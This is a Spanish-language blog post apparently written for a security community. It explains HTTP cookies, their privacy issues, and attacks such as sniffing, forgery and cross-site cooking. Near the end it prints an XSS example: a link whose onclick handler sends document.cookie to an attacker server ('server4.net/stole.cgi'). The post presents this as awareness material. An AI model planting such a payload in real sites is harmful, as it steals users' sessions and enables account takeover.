lunes, 25 de junio de 2007

Seguridad en la navegación

charlie_mtp [neyquesada@infomed.sld.cu]

¿A quién no le ha pasado que un sitio le pide que elimine los cookies o en el navegador ve esa palabra? Pues bien, después de cansarme de no entender qué era eso, me di a la tarea de leer un poco, y después de tomar mis notas creí que podría ayudar a otros de la comunidad BlackHat. Una cookie es un fragmento de información que se almacena en el disco duro de todo aquel que visite una página web a través de su navegador, a petición del servidor de la página (esa información puede ser luego recuperada por el servidor en posteriores visitas).

Un poco de historia siempre viene bien, así que les diré que fueron creadas por Lou Montulli, un antiguo empleado de Netscape Communications, y el término cookie deriva de "cookie mágica". Se empezaron a usar a partir de junio de 1994 como cookies mágicas cuando su creador dio uso de ellas en las comunicaciones web. En un inicio eran aceptadas por los navegadores por defecto y muchos usuarios desconocían de la existencia de las mismas y no eran notificados por el navegador.

Pero aún no sabemos qué hacen en los navegadores, ni tampoco acerca de sus funcionalidades. Pues bien, los usos más frecuentes de las cookies son llevar el control de usuarios. Seguramente muchos de nosotros, después de registrarse en un servidor, no nos hemos puesto a pensar cómo nos reconoce cuando viajamos dentro las páginas del mismo; pues bien, eso es gracias a que se almacena una cookie. Sin embargo, una cookie no identifica a una persona, sino a una combinación de ordenador y navegador. Otro uso es saber (conseguir) los hábitos de navegación del usuario e intentos de spyware, por parte de agencias de publicidad y otros. Este último aspecto es el que lleva a las cookies a un plano negativo, causando posibles problemas de seguridad.

Las cookies permiten identificarnos en un sitio web. Los usuarios normalmente se identifican introduciendo sus datos en una página de validación, pero las cookies permiten al servidor saber que el usuario ya está validado, y por lo tanto se le puede permitir acceder a servicios o realizar operaciones que están restringidas a usuarios identificados. Tal es el ejemplo de Wikipedia (la enciclopedia libre); sus páginas permiten a los usuarios logueados (identificados) elegir un estilo de presentación a su gusto, entre otras cosas.

Manejo de cookies entre el cliente y el servidor

La imagen muestra una posible interacción entre un navegador web y un servidor, en la que el servidor envía una cookie al navegador y el navegador la devuelve cuando solicita otra página.

Como decíamos anteriormente, las cookies son trozos de datos arbitrarios definidos por el servidor web y enviados al navegador, quien posteriormente los devuelve sin modificar al servidor. Las cookies también pueden ser definidas por un script en un lenguaje como JavaScript -si éste está soportado y habilitado en el navegador web. Ahora bien, supongamos que estamos comprando un ordenador en la Web (sería fantástico hacerlo desde nuestro país), y en cada página vamos adquiriendo las piezas que queremos: una página de tarjetas de video, una de memorias RAM, etc., hasta tenerla lista. En ese caso, si el programador del sitio quisiera, podría crear una cookie que nos permitiera saber todo lo que hemos adquirido; incluso si cerrásemos el navegador sin realizar la compra y nos conectamos más tarde, el servidor tendría conocimientos de nuestra última selección para evitarnos buscar los componentes de nuevo. Esa cookie sería creada con fecha de borrado según el deseo del diseñador del sitio web, en cuyo caso la cookie será eliminada en dicha fecha. De lo contrario, si no se define una fecha de borrado, la cookie es borrada cuando el usuario cierra su navegador. Por lo tanto, definir una fecha de borrado es una manera de hacer que la cookie sobreviva entre sesiones. Las cookies con fecha de borrado se llaman persistentes.

No conozco ningún navegador actual que no soporte las cookies (esto no significa que no haya). Sin embargo, los usuarios pueden elegir si las cookies deberían ser utilizadas o no. Las opciones más comunes que nos ofrecen los navegadores son:

  • Las cookies no se aceptan nunca.
  • El navegador pregunta al usuario si debe aceptar cada cookie.
  • Las cookies se aceptan siempre.

Configuración de cookies en FireFox

En fin, nosotros como usuarios podemos aceptar alguna de las siguientes opciones:

  • Rechazar las cookies de determinados dominios.
  • Rechazar las cookies de terceros (ver más abajo).
  • Aceptar cookies como "no persistentes" (se eliminan cuando el navegador se cierra).
  • Permitir al servidor crear cookies para un dominio diferente.

Además, los navegadores pueden también permitir a los usuarios ver y borrar cookies individualmente.

Un pequeño artilugio que pocos conocen es ver las cookies que están activas en una determinada página. Para la mayoría de los navegadores que soportan JavaScript, sólo tienen que escribir en el campo de dirección: javascript:alert("Cookies: "+document.cookie).

Desde su aparición en Internet, no han cesado de circular ideas equivocadas acerca de las cookies. En el año 2005, Jupiter Research publicó los resultados de un estudio según el cual un importante porcentaje de entrevistados creían cierta alguna de las siguientes afirmaciones:

  • Las cookies son similares a gusanos y virus en el hecho de que pueden borrar datos de los discos duros de los usuarios.
  • Las cookies son un tipo de spyware, porque pueden leer información personal almacenada en el ordenador de los usuarios.
  • Las cookies generan pop-ups.
  • Las cookies se utilizan para generar spam.
  • Las cookies sólo se utilizan con fines publicitarios.

Ahora, basándonos en la opinión de estas personas y conociendo un poco en qué consisten las cookies, vamos a hacer una pequeña reflexión:

Las cookies son sólo datos -no códigos-, por tanto no pueden borrar ni leer información del ordenador de los usuarios. Eso sí, las cookies permiten detectar las páginas visitadas por un usuario en un sitio determinado o en un conjunto de sitios y esta información puede ser recopilada en un perfil de usuario. Normalmente estos perfiles son anónimos (no contienen información personal del usuario -nombre, dirección, etc.-), y eso es porque no hay manera de obtenerla, a menos que el mismo usuario la haya escrito en alguno de los sitios visitados. Según el mismo informe, un gran porcentaje de los usuarios de Internet no sabe cómo borrar las cookies.

Continuemos refiriéndonos un poco a la privacidad y aprendamos qué son las cookies de terceros. Una página web puede contener imágenes y otros componentes almacenados en servidores de otros dominios, las cookies que se crean durante las peticiones de estos componentes se llaman cookies de terceros.

Bien, basémonos en este ejemplo ficticio y supongamos que los cuadros de la imagen de la derecha son dos páginas web, una en Wikipedia y otra de Yahoo!. Además, una compañía que está publicando anuncios ha puesto banners (propagandas) en dos sitios web -que no muestran ningún banner real-. Subiendo la imagen del banner en sus servidores y usando cookies de terceros, la compañía que publica es capaz de seguir la búsqueda de usuarios a través de estos dos sitios. Las compañías publicitarias utilizan cookies de terceros para realizar un seguimiento de los usuarios a través de múltiples sitios donde han colocado sus imágenes publicitarias o web bugs, y así dirigir su publicidad según las supuestas preferencias del usuario. Es importante conocer que las cookies no siempre identifican correctamente a los usuarios, y se pueden utilizar en ocasiones para efectuar ataques de seguridad.

Comúnmente nosotros tenemos en la casa, centro de trabajo o estudio más de un navegador; pueden ser IE y Firefox, IE y Opera, y muchas más combinaciones. Esto trae consigo otro problema relacionado con las cookies, y es que cada navegador tiene su propio almacenamiento de cookies. Entonces caemos en algo referido anteriormente, sólo que ahora lo ampliaremos un poco más: "las cookies no identifican a una persona, sino a una combinación de cuenta de usuario, ordenador y navegador". De esta manera, cualquiera que utilice varias cuentas, varios ordenadores o varios navegadores, tiene también múltiples conjuntos de cookies. Estas no diferencian varias personas que utilicen el mismo ordenador o navegador si ellos utilizan la misma cuentas de usuario.

En el Opera 9, las cookies son guardadas en: %ProgramFiles%\Opera\Profile\cookies4.dat
En Internet Explorer: %UserProfile%\Cookies

Y así cada navegador en una carpeta diferente.

He aquí otro problema al que nos enfrentamos cuando navegamos en la red de redes: el robo de cookies, que no es más que el proceso que permite a una parte no autorizada a recibir una cookie, y la encriptación no sirve contra este tipo de ataque. Cuando las cookies son enviadas sobre sesiones HTTP normales, son visibles a todos los usuarios que pueden escuchar en la red utilizando un sniffer de paquetes. Este problema se puede resolver mediante el uso de HTTPS, que invoca seguridad de la capa de transporte para cifrar la conexión. El scripting entre sitios permite que el valor de las cookies se envíe a servidores que normalmente no recibirían esa información.

Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que no deberían acceder a ellas. Esta posibilidad es explotada normalmente por atacantes de sitios que permiten a los usuarios el envío de contenido HTML. Introduciendo un segmento de código adecuado en un envío HTML, un atacante puede recibir las cookies de otros usuarios. El conocimiento de estas cookies puede después ser explotado mediante la conexión a los sitios en los que se utilizan las cookies robadas, siendo así identificado como el usuario a quien se le robaron las cookies. Un ejemplo de esto lo veremos al final.

Ahora veamos al problema de la falsificación de cookies utilizando el ejemplo que he empleado de la compra de un ordenador. En teoría, como hemos dicho, las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, ¿pero qué pasaría si al tener la cookie almacenada del sitio al que accedí varió el precio total y en vez de pagar el precio real del ordenador, pago solo una ínfima parte? A este proceso de modificar el valor de las cookies se denomina falsificación de cookies y a menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Pero por seguridad, la mayoría de los sitios web sólo almacenan en la cookie un identificador de sesión (un número único utilizado para identificar la sesión del usuario) y el resto de la información se almacena en el propio servidor. En este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Las cookies entre sitios (cross-site cooking) funciona similar a la falsificación de cookies, pero el atacante se aprovecha de usuarios no malintencionados con navegadores vulnerables, en vez de atacar el sitio web directamente. El objetivo de estos ataques puede ser realizar una fijación de sesión (robo de sesión en un sitio web). Por eso cada sitio debe tener sus propias cookies, de forma que un sitio blackhat.net no tenga posibilidad de modificar o definir cookies de otro sitio como bluehat.net. Las vulnerabilidades de cross-site cooking de los navegadores permiten a sitios maliciosos romper esta regla.

Ahora pasemos a ver la implementación de una cookie. A pesar de las cookies, los exploradores piden una página a los servidores enviándoles un texto corto llamado "solicitud de HTTP" (HTTP request). Una petición luciría así:

navegador →
GET http://www.w3.org/index.html HTTP/1.1
Accept: */*

→ servidor

El servidor responde al enviar la página pedida precedida por un texto similar, llamado "encabezado HTTP" (HTTP header). Este paquete puede contener líneas haciéndole al explorador una petición para que guarde cookies:

servidor →
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
<content of page>

→ navegador

La línea Set-Cookie es sólo enviada si el servidor desea que el explorador guarde las cookies. De hecho, es una petición al explorador el guardar la secuencia de caracteres name=value (nombre=valor) y enviarla de vuelta en cualquier otro futuro pedido del servidor. Si el explorador soporta cookies y las cookies están admitidas, toda petición de cada página subsecuente al mismo servidor va a contener la misma cookie.
Por ejemplo, el explorador pide la página http://www.w3.org/spec.html enviando al servidor www.w3.org un pedido que se asemeja al siguiente:

navegador →
GET /spec.html HTTP/1.1
Cookie: name=value
Accept: */*

→ servidor

Este es un pedido para otra página del mismo servidor; se diferencia del primero porque contiene la secuencia que el servidor había previamente enviado al explorador. Por ende, el servidor sabe que este pedido está relacionado con el previo. El servidor responde al enviar la página pedida, posiblemente añadiendo otras cookies también.

El valor de la cookie puede ser modificada por el servidor al enviar una nueva línea Set-Cookie: name=new_value en respuesta al pedido de la página. El explorador entonces reemplaza el viejo valor con el nuevo.

Las cookies también pueden ser "seteadas" (como lo decimos a diario; se deriva de set) por JavaScript o scripts similares en el explorador. En JavaScript, el objeto document.cookie es usado para este propósito. Por ejemplo, la instrucción document.cookie = "temperatura=20" crea una cookie de nombre temperatura y valor 20.

Para finalizar veamos un pequeño ejemplo de cómo alguien pueden proceder para recoger nuestras cookies. Primero debo aclarar que este ejemplo no se ha escrito con la idea de ponerlo en práctica, sino para ampliar el conocimiento y evitar que seamos timados. Si algún lector lo utiliza para algo más, que sepan que esa no era la idea del artículo.

En particular, algunos scripting languages (lenguaje script) tales como JavaScript y JScript usualmente permiten acceder a los valores de las cookies y tienen diversas maneras de enviar valores arbitrarios a servidores arbitrarios en Internet. Este hecho es usado en combinación con sitios que permiten a los usuarios postear contenido HTML que otros usuarios pueden ver. Por ejemplo, un atacante en el dominio server3.net puede postear un comentario que contenga el siguiente link a un popular blog sobre el cual ellos no tengan control:

<a href="#" onclick="window.location='http://server4.net/stole.cgi?text='+escape(document.cookie); return false;">Haz clic aquí!</a>

Cuando otro usuario clickee sobre este vínculo, el navegador ejecuta la parte del código dentro del atributo onclick. De esta manera reemplaza la cadena de caracteres document.cookie con la lista de las cookies que están activas en la página. Como resultado, esta lista de cookies es enviada al servidor server4.net, y el atacante está libre de recoger los cookies de otros usuarios.

Este tipo de ataque es difícil de detectar por parte de los usuarios, debido a que los scripts vienen desde el mismo dominio donde han sido seteadas las cookies, y la operación de enviar el valor aparece como autorizada por este dominio. Esto usualmente es considerado como una responsabilidad de los administradores.

Para saber más...



Artículos relacionados


No hay comentarios: